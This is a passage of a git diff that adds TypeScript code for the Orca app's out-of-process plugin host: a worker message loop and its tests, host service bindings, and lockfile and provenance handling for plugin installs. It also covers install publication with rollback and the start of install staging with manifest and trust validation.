+          // relay the outcome. Never throws — errors become outcomes.
+          void options.executeHostCall(message.method, message.params).then((outcome) => {
+            lastActivityAt = Date.now()
+            sendToChild(
+              outcome.ok
+                ? { type: 'hostResult', callId: message.callId, ok: true, value: outcome.value }
+                : {
+                    type: 'hostResult',
+                    callId: message.callId,
+                    ok: false,
+                    errorCode: outcome.code,
+                    error: outcome.error
+                  }
+            )
+          })
+          return
+        }
+        case 'log': {
+          log(message.level, message.message)
+          return
+        }
+        case 'fatal': {
+          fail(new Error(`${tag} worker crashed: ${message.error}`))
+          rejectAllPending(`${tag} worker crashed: ${message.error}`)
+          child.kill('SIGKILL')
+        }
+      }
+    })
+    sendToChild({
+      type: 'init',
+      pluginId,
+      pluginRoot: rootDir,
+      mainEntry,
+      grantedCapabilities: [...options.grantedCapabilities]
+    })
+    if (options.signal?.aborted) {
+      onAbort()
+    }
+  })
+
+  return {
+    commands,
+    invokeCommand(commandId, args) {
+      if (exited || disposed) {
+        return Promise.reject(new Error(`${tag} worker is not running`))
+      }
+      const callId = nextCallId++
+      return new Promise<unknown>((resolve, reject) => {
+        const timer = setTimeout(() => {
+          pendingCommands.delete(callId)
+          reject(new Error(`${tag} ${commandId} timed out after ${invokeTimeoutMs}ms`))
+        }, invokeTimeoutMs)
+        pendingCommands.set(callId, { resolve, reject, timer })
+        sendToChild({ type: 'invokeCommand', callId, commandId, args })
+      })
+    },
+    deliverEvent(event, payload) {
+      if (exited || disposed) {
+        return
+      }
+      if (pendingEvents.size >= PLUGIN_WORKER_MAX_PENDING_EVENTS) {
+        log('error', `${tag} exceeded the pending event limit`)
+        child.kill('SIGKILL')
+        return
+      }
+      lastActivityAt = Date.now()
+      const eventId = nextEventId++
+      const timer = setTimeout(() => {
+        pendingEvents.delete(eventId)
+        log('error', `${tag} ${event} did not finish within ${eventTimeoutMs}ms`)
+        child.kill('SIGKILL')
+      }, eventTimeoutMs)
+      pendingEvents.set(eventId, timer)
+      sendToChild({ type: 'deliverEvent', eventId, event, payload })
+    },
+    lastActivityAt: () => lastActivityAt,
+    inFlightCount: () => pendingCommands.size + pendingEvents.size,
+    async dispose() {
+      if (disposed) {
+        return
+      }
+      disposed = true
+      if (exited) {
+        return
+      }
+      sendToChild({ type: 'shutdown' })
+      await new Promise<void>((resolve) => {
+        const killTimer = setTimeout(() => {
+          child.kill('SIGKILL')
+        }, PLUGIN_WORKER_SHUTDOWN_GRACE_MS)
+        child.once('exit', () => {
+          clearTimeout(killTimer)
+          resolve()
+        })
+        if (exited) {
+          clearTimeout(killTimer)
+          resolve()
+        }
+      })
+    },
+    kill() {
+      child.kill('SIGKILL')
+    },
+    onExit(callback) {
+      if (exited) {
+        callback(exitCode)
+      } else {
+        exitCallbacks.push(callback)
+      }
+    }
+  }
+}
diff --git a/src/main/plugins/plugin-host-runtime.test.ts b/src/main/plugins/plugin-host-runtime.test.ts
new file mode 100644
index 000000000..48d680a03
--- /dev/null
+++ b/src/main/plugins/plugin-host-runtime.test.ts
@@ -0,0 +1,76 @@
+import { describe, expect, it, vi } from 'vitest'
+import { join } from 'node:path'
+import { pathToFileURL } from 'node:url'
+import { createPluginWorkerRuntime } from './plugin-host-runtime'
+
+describe('plugin worker shutdown', () => {
+  it('normalizes either manifest separator before importing the worker', async () => {
+    const importModule = vi.fn(async () => ({ default: vi.fn() }))
+    const runtime = createPluginWorkerRuntime({ send: vi.fn(), importModule })
+
+    await runtime.handleMessage({
+      type: 'init',
+      pluginId: 'orca-samples.demo',
+      pluginRoot: join('plugin-root'),
+      mainEntry: 'nested\\worker.js',
+      grantedCapabilities: []
+    })
+
+    expect(importModule).toHaveBeenCalledWith(
+      pathToFileURL(join('plugin-root', 'nested', 'worker.js')).href
+    )
+  })
+
+  it('awaits an optional deactivate export before exiting', async () => {
+    let finishDeactivate!: () => void
+    const deactivate = vi.fn(
+      () =>
+        new Promise<void>((resolve) => {
+          finishDeactivate = resolve
+        })
+    )
+    const send = vi.fn()
+    const exit = vi.fn()
+    const runtime = createPluginWorkerRuntime({
+      send,
+      exit,
+      importModule: async () => ({ default: vi.fn(), deactivate })
+    })
+    await runtime.handleMessage({
+      type: 'init',
+      pluginId: 'orca-samples.demo',
+      pluginRoot: '/plugin',
+      mainEntry: 'worker.js',
+      grantedCapabilities: []
+    })
+
+    const shutdown = runtime.handleMessage({ type: 'shutdown' })
+    await Promise.resolve()
+    expect(deactivate).toHaveBeenCalledOnce()
+    expect(exit).not.toHaveBeenCalled()
+    finishDeactivate()
+    await shutdown
+
+    expect(exit).toHaveBeenCalledWith(0)
+  })
+
+  it('exits immediately when the plugin has no deactivate export', async () => {
+    const exit = vi.fn()
+    const runtime = createPluginWorkerRuntime({
+      send: vi.fn(),
+      exit,
+      importModule: async () => ({ default: vi.fn() })
+    })
+    await runtime.handleMessage({
+      type: 'init',
+      pluginId: 'orca-samples.demo',
+      pluginRoot: '/plugin',
+      mainEntry: 'worker.js',
+      grantedCapabilities: []
+    })
+
+    await runtime.handleMessage({ type: 'shutdown' })
+
+    expect(exit).toHaveBeenCalledWith(0)
+  })
+})
diff --git a/src/main/plugins/plugin-host-runtime.ts b/src/main/plugins/plugin-host-runtime.ts
new file mode 100644
index 000000000..2a2f5f9fc
--- /dev/null
+++ b/src/main/plugins/plugin-host-runtime.ts
@@ -0,0 +1,210 @@
+import { join } from 'node:path'
+import { pathToFileURL } from 'node:url'
+import {
+  pluginWorkerParentMessageSchema,
+  type PluginWorkerChildMessage
+} from '../../shared/plugins/plugin-host-protocol'
+import type { PluginEventName } from '../../shared/plugins/plugin-manifest'
+
+/**
+ * Message-loop core of the out-of-process plugin worker. Electron-free and
+ * side-effect-free (send/import/exit are injected) so it unit-tests without
+ * forking a real child process; `plugin-host-entry.ts` wires it to the fork
+ * IPC channel.
+ */
+
+export type PluginHostCallError = Error & { code?: string }
+
+/** API surface handed to a plugin's `activate(orca)` export. Everything is
+ *  EXPERIMENTAL until pluginApi v1 freezes. */
+export type PluginWorkerOrcaApi = {
+  /** Register the handler for a command declared in the manifest. */
+  commands: {
+    register(commandId: string, handler: (args: unknown) => unknown | Promise<unknown>): void
+  }
+  /** Handle an event the manifest subscribed to (`contributes.events`). */
+  events: {
+    on(event: PluginEventName, handler: (payload: unknown) => void | Promise<void>): void
+  }
+  /** Call a host API method (capability-gated host-side). */
+  host: {
+    call(method: string, params?: unknown): Promise<unknown>
+  }
+  /** Consented capability kinds (informational — the host re-gates). */
+  grantedCapabilities: readonly string[]
+  log(message: string): void
+}
+
+export type PluginWorkerRuntimeOptions = {
+  send: (message: PluginWorkerChildMessage) => void
+  importModule?: (specifier: string) => Promise<unknown>
+  exit?: (code: number) => void
+}
+
+export type PluginWorkerRuntime = {
+  handleMessage(raw: unknown): Promise<void>
+}
+
+function toErrorMessage(error: unknown): string {
+  return error instanceof Error ? (error.stack ?? error.message) : String(error)
+}
+
+export function createPluginWorkerRuntime(
+  options: PluginWorkerRuntimeOptions
+): PluginWorkerRuntime {
+  const send = options.send
+  const importModule = options.importModule ?? ((specifier: string) => import(specifier))
+  const exit = options.exit ?? ((code: number) => process.exit(code))
+  const commandHandlers = new Map<string, (args: unknown) => unknown | Promise<unknown>>()
+  const eventHandlers = new Map<string, ((payload: unknown) => void | Promise<void>)[]>()
+  const pendingHostCalls = new Map<
+    number,
+    { resolve: (value: unknown) => void; reject: (error: PluginHostCallError) => void }
+  >()
+  let nextHostCallId = 0
+  let initialized = false
+  let shuttingDown = false
+  let deactivate: (() => unknown | Promise<unknown>) | null = null
+
+  async function handleInit(input: {
+    pluginRoot: string
+    mainEntry: string
+    grantedCapabilities: string[]
+  }): Promise<void> {
+    if (initialized) {
+      send({ type: 'log', level: 'warn', message: 'ignoring duplicate init message' })
+      return
+    }
+    initialized = true
+    // Why: file URL import keeps ESM plugin entries working on Windows paths.
+    // Why: manifest paths accept either portable separator; split explicitly
+    // so a Windows-authored plugin also imports on macOS/Linux and vice versa.
+    const entryUrl = pathToFileURL(join(input.pluginRoot, ...input.mainEntry.split(/[\\/]/))).href
+    const module = (await importModule(entryUrl)) as { default?: unknown; deactivate?: unknown }
+    const activate = module?.default
+    if (typeof activate !== 'function') {
+      throw new Error(`plugin entry ${input.mainEntry} has no default-exported activate function`)
+    }
+    if (module.deactivate !== undefined && typeof module.deactivate !== 'function') {
+      throw new Error(`plugin entry ${input.mainEntry} has a non-function deactivate export`)
+    }
+    deactivate = (module.deactivate as (() => unknown | Promise<unknown>) | undefined) ?? null
+    const orca: PluginWorkerOrcaApi = {
+      commands: {
+        register(commandId, handler) {
+          commandHandlers.set(commandId, handler)
+        }
+      },
+      events: {
+        on(event, handler) {
+          const handlers = eventHandlers.get(event) ?? []
+          handlers.push(handler)
+          eventHandlers.set(event, handlers)
+        }
+      },
+      host: {
+        call(method, params) {
+          const callId = nextHostCallId++
+          return new Promise<unknown>((resolve, reject) => {
+            pendingHostCalls.set(callId, { resolve, reject })
+            send({ type: 'hostCall', callId, method, params })
+          })
+        }
+      },
+      grantedCapabilities: input.grantedCapabilities,
+      log(message) {
+        send({ type: 'log', level: 'info', message: String(message).slice(0, 8192) })
+      }
+    }
+    await activate(orca)
+    send({ type: 'ready', commands: [...commandHandlers.keys()] })
+  }
+
+  return {
+    async handleMessage(raw) {
+      const parsed = pluginWorkerParentMessageSchema.safeParse(raw)
+      if (!parsed.success) {
+        send({ type: 'log', level: 'warn', message: 'ignoring malformed parent message' })
+        return
+      }
+      const message = parsed.data
+      try {
+        switch (message.type) {
+          case 'init': {
+            await handleInit(message)
+            return
+          }
+          case 'invokeCommand': {
+            const handler = commandHandlers.get(message.commandId)
+            if (!handler) {
+              send({
+                type: 'commandResult',
+                callId: message.callId,
+                ok: false,
+                error: `no handler registered for command ${message.commandId}`
+              })
+              return
+            }
+            try {
+              const value = await handler(message.args)
+              send({ type: 'commandResult', callId: message.callId, ok: true, value })
+            } catch (error) {
+              send({
+                type: 'commandResult',
+                callId: message.callId,
+                ok: false,
+                error: toErrorMessage(error)
+              })
+            }
+            return
+          }
+          case 'deliverEvent': {
+            const handlers = eventHandlers.get(message.event) ?? []
+            for (const handler of handlers) {
+              try {
+                await handler(message.payload)
+              } catch (error) {
+                send({ type: 'log', level: 'error', message: toErrorMessage(error) })
+              }
+            }
+            send({ type: 'eventAck', eventId: message.eventId })
+            return
+          }
+          case 'hostResult': {
+            const pending = pendingHostCalls.get(message.callId)
+            if (!pending) {
+              return
+            }
+            pendingHostCalls.delete(message.callId)
+            if (message.ok) {
+              pending.resolve(message.value)
+            } else {
+              const error: PluginHostCallError = new Error(message.error ?? 'host call failed')
+              error.code = message.errorCode
+              pending.reject(error)
+            }
+            return
+          }
+          case 'shutdown': {
+            if (shuttingDown) {
+              return
+            }
+            shuttingDown = true
+            try {
+              await deactivate?.()
+            } catch (error) {
+              send({ type: 'log', level: 'error', message: toErrorMessage(error).slice(0, 8192) })
+            }
+            exit(0)
+          }
+        }
+      } catch (error) {
+        // Why: an init/activation failure leaves the worker useless; report
+        // and die so the parent surfaces the error instead of hanging on
+        // the ready timeout.
+        send({ type: 'fatal', error: toErrorMessage(error) })
+        exit(1)
+      }
+    }
+  }
+}
diff --git a/src/main/plugins/plugin-host-service-bindings.ts b/src/main/plugins/plugin-host-service-bindings.ts
new file mode 100644
index 000000000..a9aad46d3
--- /dev/null
+++ b/src/main/plugins/plugin-host-service-bindings.ts
@@ -0,0 +1,84 @@
+import type { PluginEventName } from '../../shared/plugins/plugin-manifest'
+import { PLUGIN_WORKSPACE_TERMINAL_LIMIT } from '../../shared/plugins/plugin-host-api'
+import type { PluginHostServices } from './plugin-host-methods'
+import { PluginSecretsStore } from './plugin-secrets-store'
+import { PluginKvStore } from './plugin-storage-store'
+
+/** Structural subset of OrcaRuntimeService exposed to plugin facade bindings. */
+export type PluginRuntimeDelegate = {
+  resolveActiveWorktreeContext(): Promise<{
+    worktreeId: string
+    path: string
+    branch: string
+    displayName: string
+  } | null>
+  listTerminals(
+    worktreeSelector?: string,
+    limit?: number
+  ): Promise<{ terminals: { handle: string; title: string | null }[] }>
+  sendTerminal(
+    handle: string,
+    action: { text?: string; enter?: boolean }
+  ): Promise<{ accepted: boolean }>
+  dispatchPluginNotification(input: {
+    pluginId: string
+    title: string
+    body?: string
+  }): Promise<{ delivered: boolean }>
+}
+
+export function bindPluginHostServices(input: {
+  delegate: PluginRuntimeDelegate
+  pluginsDataDir: string
+  subscribeEvents: (pluginKey: string, events: PluginEventName[]) => PluginEventName[]
+}): PluginHostServices {
+  const { delegate, pluginsDataDir, subscribeEvents } = input
+  return {
+    resolveActiveWorktreeContext: async () => {
+      const context = await delegate.resolveActiveWorktreeContext()
+      if (!context) {
+        return null
+      }
+      // Why: retain the internal id only for host-side terminal membership;
+      // the public handler projects it out because it embeds provider paths.
+      return {
+        worktreeId: context.worktreeId,
+        branch: context.branch,
+        displayName: context.displayName
+      }
+    },
+    listWorktreeTerminals: async (worktreeId) => {
+      const result = await delegate.listTerminals(
+        `id:${worktreeId}`,
+        PLUGIN_WORKSPACE_TERMINAL_LIMIT
+      )
+      return result.terminals
+        .slice(0, PLUGIN_WORKSPACE_TERMINAL_LIMIT)
+        .map((terminal) => ({ id: terminal.handle }))
+    },
+    sendTerminalText: async (terminalId, action) => {
+      const result = await delegate.sendTerminal(terminalId, action)
+      return { accepted: result.accepted }
+    },
+    dispatchPluginNotification: (notification) => delegate.dispatchPluginNotification(notification),
+    storage: {
+      get: (key, itemKey) => new PluginKvStore(pluginsDataDir, key, 'storage.json').get(itemKey),
+      set: (key, itemKey, value) =>
+        new PluginKvStore(pluginsDataDir, key, 'storage.json').set(itemKey, value),
+      delete: (key, itemKey) =>
+        new PluginKvStore(pluginsDataDir, key, 'storage.json').delete(itemKey),
+      keys: (key) => new PluginKvStore(pluginsDataDir, key, 'storage.json').keys()
+    },
+    secrets: {
+      get: (key, itemKey) => new PluginSecretsStore(pluginsDataDir, key).get(itemKey),
+      set: (key, itemKey, value) => new PluginSecretsStore(pluginsDataDir, key).set(itemKey, value),
+      delete: (key, itemKey) => new PluginSecretsStore(pluginsDataDir, key).delete(itemKey)
+    },
+    settings: {
+      getAll: (key) => new PluginKvStore(pluginsDataDir, key, 'settings.json').getAll(),
+      set: (key, itemKey, value) =>
+        new PluginKvStore(pluginsDataDir, key, 'settings.json').set(itemKey, value)
+    },
+    subscribeEvents
+  }
+}
diff --git a/src/main/plugins/plugin-install-lockfile-store.ts b/src/main/plugins/plugin-install-lockfile-store.ts
new file mode 100644
index 000000000..b83079c1f
--- /dev/null
+++ b/src/main/plugins/plugin-install-lockfile-store.ts
@@ -0,0 +1,83 @@
+import { createReadStream } from 'node:fs'
+import { mkdir } from 'node:fs/promises'
+import { join } from 'node:path'
+import {
+  emptyPluginLockfile,
+  parsePluginLockfile,
+  serializePluginLockfile,
+  type PluginLockfile
+} from '../../shared/plugins/plugin-install-lockfile'
+import { writePluginFileAtomically } from './plugin-atomic-file-write'
+import { recoverPluginLockfile } from './plugin-install-provenance'
+
+export const PLUGIN_LOCKFILE_MAX_BYTES = 5 * 1024 * 1024
+const lockfileAccessChains = new Map<string, Promise<void>>()
+
+export function pluginLockfilePath(pluginsDir: string): string {
+  return join(pluginsDir, 'plugins.lock.json')
+}
+
+async function serializeLockfileAccess<T>(
+  pluginsDir: string,
+  operation: () => Promise<T>
+): Promise<T> {
+  const previous = lockfileAccessChains.get(pluginsDir) ?? Promise.resolve()
+  const run = previous.catch(() => undefined).then(operation)
+  const settled = run.then(
+    () => undefined,
+    () => undefined
+  )
+  lockfileAccessChains.set(pluginsDir, settled)
+  try {
+    return await run
+  } finally {
+    if (lockfileAccessChains.get(pluginsDir) === settled) {
+      lockfileAccessChains.delete(pluginsDir)
+    }
+  }
+}
+
+/** Reads the install index through a byte cap so a corrupt local file cannot
+ * turn every plugin-list refresh into an unbounded main-process allocation. */
+export async function readPluginLockfile(pluginsDir: string): Promise<PluginLockfile> {
+  return serializeLockfileAccess(pluginsDir, () => readPluginLockfileUnserialized(pluginsDir))
+}
+
+async function readPluginLockfileUnserialized(pluginsDir: string): Promise<PluginLockfile> {
+  let lock = emptyPluginLockfile()
+  try {
+    const chunks: Buffer[] = []
+    let totalBytes = 0
+    for await (const chunk of createReadStream(pluginLockfilePath(pluginsDir))) {
+      const bytes = Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk)
+      totalBytes += bytes.byteLength
+      if (totalBytes > PLUGIN_LOCKFILE_MAX_BYTES) {
+        throw new Error('plugin lockfile exceeds its size limit')
+      }
+      chunks.push(bytes)
+    }
+    lock = parsePluginLockfile(JSON.parse(Buffer.concat(chunks, totalBytes).toString('utf8')))
+  } catch {
+    // Missing/corrupt global indexes can be reconstructed from current-version provenance.
+  }
+  const recovered = await recoverPluginLockfile(pluginsDir, lock)
+  if (recovered.changed) {
+    await writePluginLockfileUnserialized(pluginsDir, recovered.lock).catch(() => undefined)
+  }
+  return recovered.lock
+}
+
+export async function writePluginLockfile(pluginsDir: string, lock: PluginLockfile): Promise<void> {
+  await serializeLockfileAccess(pluginsDir, () => writePluginLockfileUnserialized(pluginsDir, lock))
+}
+
+async function writePluginLockfileUnserialized(
+  pluginsDir: string,
+  lock: PluginLockfile
+): Promise<void> {
+  await mkdir(pluginsDir, { recursive: true })
+  await writePluginFileAtomically(
+    pluginLockfilePath(pluginsDir),
+    JSON.stringify(serializePluginLockfile(lock), null, 2)
+  )
+}
diff --git a/src/main/plugins/plugin-install-provenance.ts b/src/main/plugins/plugin-install-provenance.ts
new file mode 100644
index 000000000..76f06c318
--- /dev/null
+++ b/src/main/plugins/plugin-install-provenance.ts
@@ -0,0 +1,118 @@
+import { createReadStream } from 'node:fs'
+import { mkdir, readdir, rm } from 'node:fs/promises'
+import { join } from 'node:path'
+import {
+  PLUGIN_CONTENT_HASH_PATTERN,
+  pluginLockEntrySchema,
+  type PluginLockEntry,
+  type PluginLockfile
+} from '../../shared/plugins/plugin-install-lockfile'
+import { isQualifiedPluginKey } from '../../shared/plugins/plugin-manifest'
+import { writePluginFileAtomically } from './plugin-atomic-file-write'
+import { readPluginCurrentPointer } from './plugin-current-pointer'
+
+const PROVENANCE_DIRECTORY = '.install-provenance'
+const PROVENANCE_MAX_BYTES = 64 * 1024
+
+function provenancePath(pluginDir: string, contentHash: string): string {
+  if (!PLUGIN_CONTENT_HASH_PATTERN.test(contentHash)) {
+    throw new Error('invalid plugin content hash')
+  }
+  return join(pluginDir, PROVENANCE_DIRECTORY, `${contentHash}.json`)
+}
+
+/** Prewrites immutable provenance before the executable current pointer moves. */
+export async function writePluginInstallProvenance(
+  pluginDir: string,
+  entry: PluginLockEntry
+): Promise<void> {
+  const parsedEntry = pluginLockEntrySchema.parse(entry)
+  const directory = join(pluginDir, PROVENANCE_DIRECTORY)
+  await mkdir(directory, { recursive: true, mode: 0o700 })
+  await writePluginFileAtomically(
+    provenancePath(pluginDir, parsedEntry.contentHash),
+    JSON.stringify({ version: 1, entry: parsedEntry }, null, 2),
+    { mode: 0o600 }
+  )
+}
+
+export async function readPluginInstallProvenance(
+  pluginDir: string,
+  contentHash: string
+): Promise<PluginLockEntry | null> {
+  try {
+    const chunks: Buffer[] = []
+    let totalBytes = 0
+    for await (const chunk of createReadStream(provenancePath(pluginDir, contentHash))) {
+      const bytes = Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk)
+      totalBytes += bytes.byteLength
+      if (totalBytes > PROVENANCE_MAX_BYTES) {
+        return null
+      }
+      chunks.push(bytes)
+    }
+    const raw = JSON.parse(Buffer.concat(chunks, totalBytes).toString('utf8')) as {
+      version?: unknown
+      entry?: unknown
+    }
+    if (raw.version !== 1) {
+      return null
+    }
+    const parsed = pluginLockEntrySchema.safeParse(raw.entry)
+    return parsed.success ? parsed.data : null
+  } catch {
+    return null
+  }
+}
+
+/** Repairs a pointer-new/lock-old interrupted publication from immutable provenance. */
+export async function recoverPluginLockfile(
+  pluginsDir: string,
+  lock: PluginLockfile
+): Promise<{ lock: PluginLockfile; changed: boolean }> {
+  const plugins = { ...lock.plugins }
+  let changed = false
+  const directories = await readdir(pluginsDir, { withFileTypes: true }).catch(() => [])
+  for (const directory of directories) {
+    if (!directory.isDirectory() || !isQualifiedPluginKey(directory.name)) {
+      continue
+    }
+    const pluginDir = join(pluginsDir, directory.name)
+    const contentHash = await readPluginCurrentPointer(pluginDir).catch(() => null)
+    if (!contentHash || !PLUGIN_CONTENT_HASH_PATTERN.test(contentHash)) {
+      continue
+    }
+    const provenance = await readPluginInstallProvenance(pluginDir, contentHash)
+    if (
+      !provenance ||
+      provenance.pluginKey !== directory.name ||
+      provenance.contentHash !== contentHash
+    ) {
+      continue
+    }
+    if (JSON.stringify(plugins[directory.name]) !== JSON.stringify(provenance)) {
+      plugins[directory.name] = provenance
+      changed = true
+    }
+  }
+  return { lock: { version: 1, plugins }, changed }
+}
+
+export async function prunePluginInstallProvenance(
+  pluginDir: string,
+  retained: ReadonlySet<string>
+): Promise<void> {
+  const directory = join(pluginDir, PROVENANCE_DIRECTORY)
+  const entries = await readdir(directory, { withFileTypes: true }).catch(() => [])
+  await Promise.all(
+    entries
+      .filter(
+        (entry) =>
+          entry.isFile() &&
+          entry.name.endsWith('.json') &&
+          PLUGIN_CONTENT_HASH_PATTERN.test(entry.name.slice(0, -'.json'.length)) &&
+          !retained.has(entry.name.slice(0, -'.json'.length))
+      )
+      .map((entry) => rm(join(directory, entry.name), { force: true }))
+  )
+}
diff --git a/src/main/plugins/plugin-install-publication.ts b/src/main/plugins/plugin-install-publication.ts
new file mode 100644
index 000000000..291afa76f
--- /dev/null
+++ b/src/main/plugins/plugin-install-publication.ts
@@ -0,0 +1,94 @@
+import { readdir, rm } from 'node:fs/promises'
+import { join } from 'node:path'
+import {
+  PLUGIN_CONTENT_HASH_PATTERN,
+  upsertPluginLock,
+  type PluginLockEntry
+} from '../../shared/plugins/plugin-install-lockfile'
+import {
+  readPluginCurrentPointer,
+  restorePluginCurrentPointer,
+  writePluginCurrentPointer
+} from './plugin-current-pointer'
+import { readPluginLockfile, writePluginLockfile } from './plugin-install-lockfile-store'
+import {
+  prunePluginInstallProvenance,
+  readPluginInstallProvenance,
+  writePluginInstallProvenance
+} from './plugin-install-provenance'
+
+/** Publishes executable identity and provenance as one recoverable mutation,
+ * then retains only current plus one rollback version. */
+export async function publishPluginInstall(input: {
+  pluginsDir: string
+  pluginDir: string
+  entry: PluginLockEntry
+}): Promise<void> {
+  const previousContentHash = await readPluginCurrentPointer(input.pluginDir)
+  const currentLock = await readPluginLockfile(input.pluginsDir)
+  const provenanceCandidate =
+    previousContentHash === input.entry.contentHash
+      ? await readPluginInstallProvenance(input.pluginDir, input.entry.contentHash)
+      : null
+  const matchesCurrentIdentity = (entry: PluginLockEntry | undefined | null): boolean =>
+    entry?.pluginKey === input.entry.pluginKey && entry.contentHash === input.entry.contentHash
+  const existingProvenance = matchesCurrentIdentity(provenanceCandidate)
+    ? provenanceCandidate
+    : null
+  const legacyLockEntry = currentLock.plugins[input.entry.pluginKey]
+  const legacyCurrentEntry =
+    previousContentHash === input.entry.contentHash && matchesCurrentIdentity(legacyLockEntry)
+      ? legacyLockEntry
+      : null
+  // Provenance is immutable per executable identity. A same-byte reinstall
+  // is a no-op so a failed or interrupted source change cannot be recovered
+  // later as though it had successfully published.
+  const publishedEntry = existingProvenance ?? legacyCurrentEntry ?? input.entry
+  const nextLock = upsertPluginLock(currentLock, publishedEntry)
+  // Why: after a crash between pointer and global-index publication, startup
+  // can reconstruct exact source/commit identity from this immutable record.
+  if (!existingProvenance) {
+    await writePluginInstallProvenance(input.pluginDir, publishedEntry)
+  }
+  await writePluginCurrentPointer(input.pluginDir, input.entry.contentHash)
+  try {
+    await writePluginLockfile(input.pluginsDir, nextLock)
+  } catch (publicationError) {
+    try {
+      await restorePluginCurrentPointer(input.pluginDir, previousContentHash)
+    } catch (rollbackError) {
+      throw new AggregateError(
+        [publicationError, rollbackError],
+        'plugin install publication and pointer rollback both failed'
+      )
+    }
+    throw publicationError
+  }
+  // Reinstalling B must not collapse an existing A rollback into {B}.
+  if (previousContentHash !== input.entry.contentHash) {
+    await pruneHistoricalVersions(
+      input.pluginDir,
+      new Set(
+        [input.entry.contentHash, previousContentHash].filter(
+          (hash): hash is string =>
+            typeof hash === 'string' && PLUGIN_CONTENT_HASH_PATTERN.test(hash)
+        )
+      )
+    ).catch(() => undefined)
+  }
+}
+
+async function pruneHistoricalVersions(pluginDir: string, retained: ReadonlySet<string>) {
+  const entries = await readdir(pluginDir, { withFileTypes: true })
+  await Promise.all(
+    entries
+      .filter(
+        (entry) =>
+          entry.isDirectory() &&
+          PLUGIN_CONTENT_HASH_PATTERN.test(entry.name) &&
+          !retained.has(entry.name)
+      )
+      .map((entry) => rm(join(pluginDir, entry.name), { recursive: true, force: true }))
+  )
+  await prunePluginInstallProvenance(pluginDir, retained)
+}
diff --git a/src/main/plugins/plugin-install-staging.ts b/src/main/plugins/plugin-install-staging.ts
new file mode 100644
index 000000000..2f0a71fe7
--- /dev/null
+++ b/src/main/plugins/plugin-install-staging.ts
@@ -0,0 +1,253 @@
+import { existsSync } from 'node:fs'
+import { cp, mkdir, rm } from 'node:fs/promises'
+import { join, relative, resolve, sep } from 'node:path'
+import {
+  PLUGIN_MANIFEST_FILENAME,
+  parsePluginManifest,
+  qualifiedPluginKey,
+  satisfiesOrcaEngineRange,
+  type PluginManifest
+} from '../../shared/plugins/plugin-manifest'
+import { fingerprintPluginConsent } from '../../shared/plugins/plugin-consent-fingerprint'
+import type {
+  PluginInstallSource,
+  PluginLockEntry
+} from '../../shared/plugins/plugin-install-lockfile'
+import {
+  validateDeclaredPluginArtifacts,
+  validatePluginInstallContent,
+  type PluginArtifactValidationResult
+} from './plugin-artifact-validation'
+import { renamePluginFileWithWindowsRetry } from './plugin-atomic-file-write'
+import { hashPluginTree } from './plugin-content-hash'
+import { publishPluginInstall } from './plugin-install-publication'
+import { readPluginManifestText } from './plugin-manifest-file'
+import { pluginInstallTrustError } from './plugin-install-trust'
+
+export type PluginInstallResult =
+  | {
+      ok: true
+      pluginKey: string
+      version: string
+      contentHash: string
+      consentFingerprint: string
+      resolvedCommit: string | null
+    }
+  | { ok: false; error: string }
+
+export type PluginInstallInspection =
+  | {
+      ok: true
+      manifest: PluginManifest
+      pluginKey: string
+      contentHash: string
+      consentFingerprint: string
+    }
+  | { ok: false; error: string }
+
+async function validatePluginInstallTree(
+  rootDir: string,
+  manifest: PluginManifest
+): Promise<PluginArtifactValidationResult> {
+  const declared = await validateDeclaredPluginArtifacts(rootDir, manifest)
+  return declared.ok ? validatePluginInstallContent(rootDir, manifest) : declared
+}
+
+async function readInstallManifest(
+  rootDir: string,
+  hostVersion: string
+): Promise<{ ok: true; manifest: PluginManifest } | { ok: false; error: string }> {
+  let raw: unknown
+  try {
+    raw = JSON.parse(await readPluginManifestText(rootDir))
+  } catch (error) {
+    return {
+      ok: false,
+      error: `unreadable ${PLUGIN_MANIFEST_FILENAME}: ${error instanceof Error ? error.message : String(error)}`
+    }
+  }
+  const parsed = parsePluginManifest(raw)
+  if (!parsed.ok) {
+    return { ok: false, error: `invalid manifest: ${parsed.error}` }
+  }
+  if (!satisfiesOrcaEngineRange(hostVersion, parsed.manifest.engines.orca)) {
+    return {
+      ok: false,
+      error: `plugin requires Orca ${parsed.manifest.engines.orca} (this is ${hostVersion})`
+    }
+  }
+  return { ok: true, manifest: parsed.manifest }
+}
+
+/** Validates and hashes a source tree without publishing it. Marketplace
+ * previews use this exact path so the reviewed bytes match install policy. */
+export async function inspectPluginInstallTree(input: {
+  rootDir: string
+  hostVersion: string
+  expectedPluginKey?: string
+}): Promise<PluginInstallInspection> {
+  const sourceManifest = await readInstallManifest(input.rootDir, input.hostVersion)
+  if (!sourceManifest.ok) {
+    return sourceManifest
+  }
+  const pluginKey = qualifiedPluginKey(sourceManifest.manifest)
+  if (input.expectedPluginKey && pluginKey !== input.expectedPluginKey) {
+    return {
+      ok: false,
+      error: `plugin manifest identity ${pluginKey} does not match marketplace listing ${input.expectedPluginKey}`
+    }
+  }
+  const declaredArtifacts = await validatePluginInstallTree(input.rootDir, sourceManifest.manifest)
+  if (!declaredArtifacts.ok) {
+    return { ok: false, error: `invalid declared artifact: ${declaredArtifacts.error}` }
+  }
+  const treeHash = await hashPluginTree(input.rootDir)
+  if (!treeHash.ok) {
+    return { ok: false, error: treeHash.error }
+  }
+  return {
+    ok: true,
+    manifest: sourceManifest.manifest,
+    pluginKey,
+    contentHash: treeHash.hash,
+    consentFingerprint: fingerprintPluginConsent(sourceManifest.manifest, treeHash.hash)
+  }
+}
+
+/** Installs a validated staging tree into the hash-addressed layout. */
+export async function installStagedPluginTree(input: {
+  pluginsDir: string
+  stagingDir: string
+  hostVersion: string
+  source: PluginInstallSource
+  resolvedCommit: string | null
+  expectedPluginKey?: string
+  /** Trusted bundled bytes may restore an immutable directory damaged on disk. */
+  repairCorruptedVersion?: boolean
+  blockedPluginReason?: (pluginKey: string) => string | null
+}): Promise<PluginInstallResult> {
+  const sourceInspection = await inspectPluginInstallTree({
+    rootDir: input.stagingDir,
+    hostVersion: input.hostVersion,
+    ...(input.expectedPluginKey ? { expectedPluginKey: input.expectedPluginKey } : {})
+  })
+  if (!sourceInspection.ok) {
+    return sourceInspection
+  }
+  const trustError = pluginInstallTrustError(sourceInspection.pluginKey, input.source)
+  if (trustError) {
+    return { ok: false, error: trustError }
+  }
+  const blockedReason = input.blockedPluginReason?.(sourceInspection.pluginKey)
+  if (blockedReason) {
+    return { ok: false, error: `plugin is blocked by Orca's safety list: ${blockedReason}` }
+  }
+  let manifest = sourceInspection.manifest
